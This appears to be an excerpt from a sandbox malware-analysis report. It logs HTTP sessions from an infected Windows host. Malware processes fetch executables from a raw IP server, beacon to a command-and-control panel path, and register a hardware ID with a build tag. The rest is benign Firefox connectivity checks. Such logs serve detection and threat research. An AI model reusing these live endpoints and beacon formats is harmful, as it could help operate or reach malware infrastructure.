Oct 26, 2024 08:55:06.706315041 CEST	1236	IN	Data Raw: 93 66 95 11 d6 b0 5e e9 ef 43 09 f7 9b 7e e2 ed eb 07 a0 90 94 ea 70 75 3d 87 61 ba cc 6f 8e 9c 3b 7f ac f7 fa 91 5e a0 4a 78 5c 12 2b d9 1e 31 f0 14 0c 09 88 e8 c3 fd 75 4a 19 fa ba c1 30 82 31 7f 0c 71 93 25 a4 54 26 3f aa fd 36 b3 2a 0d 3c b2 Data Ascii: f^C~pu=ao;^Jx\+1uJ01q%T&?6*<3=a@ 1/He[1RL,1$!l1ym/5zKS&O>wIw/r:l;YY\|#\
Oct 26, 2024 08:55:12.314527035 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:55:12.593122959 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:12 GMT Content-Type: application/octet-stream Content-Length: 1872384 Last-Modified: Sat, 26 Oct 2024 06:48:34 GMT Connection: keep-alive ETag: "671c90c2-1c9200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$j@j @P%d% %(@.rsrc %8@.idata %8@ *%:@seldsqgz0P.<@ogrbyegijj@.taggant0j"p@
Oct 26, 2024 08:55:14.954288006 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:55:15.233738899 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:15 GMT Content-Type: application/octet-stream Content-Length: 2810368 Last-Modified: Sat, 26 Oct 2024 05:56:24 GMT Connection: keep-alive ETag: "671c8488-2ae200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +^+`Ui` @ @.rsrc`2@.idata 8@itjqivob*:@lqldnesx +@.taggant@@+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50098	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:07.828466892 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:08.749644041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	50103	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:10.386375904 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:12.207842112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 26, 2024 08:55:12.209295034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 26, 2024 08:55:12.210671902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 26, 2024 08:55:12.211674929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	50105	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:13.762032986 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 26, 2024 08:55:14.684950113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50110	185.215.113.43	80	6472	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:16.720571995 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 26, 2024 08:55:17.586097002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	50112	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:17.492021084 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 26, 2024 08:55:18.104552984 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 25 Oct 2024 13:56:18 GMT Age: 61140 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50120	185.215.113.206	80	3300	C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:17.850024939 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 08:55:18.733328104 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 08:55:18.895461082 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="build"puma------KKJKFBKKECFHJKEBKEHI--
Oct 26, 2024 08:55:19.176307917 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:55:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	50126	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:55:18.205352068 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:18.817059994 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77580 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:19.498229980 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:19.626033068 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77581 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:19.656033039 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:19.783956051 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77581 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:19.906652927 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:20.035113096 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77581 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:20.286284924 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:20.414443970 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77582 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:20.531075954 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:20.659296989 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77582 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:21.359981060 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:21.488076925 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77583 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:21.988990068 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:22.117239952 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77584 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:22.613086939 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:22.741847038 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77584 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:24.989764929 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:25.118891001 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77587 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:35.195882082 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:55:36.231452942 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:36.359716892 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77598 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:46.207149029 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:46.335515022 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77608 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:46.836975098 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:46.965249062 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77608 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:55:57.006715059 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:55:57.035181046 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:55:57.164284945 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77619 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:56:07.206608057 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:56:16.115617990 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:56:16.243742943 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77638 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:56:16.958204031 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:56:17.086308002 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77639 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:56:20.620213032 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:56:20.749535084 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77642 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:56:30.809947014 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:56:38.023385048 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 26, 2024 08:56:38.151906013 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 25 Oct 2024 09:22:18 GMT Age: 77660 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 26, 2024 08:56:48.209012985 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:56:58.223947048 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:57:08.252105951 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 26, 2024 08:57:18.278182983 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	50128	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
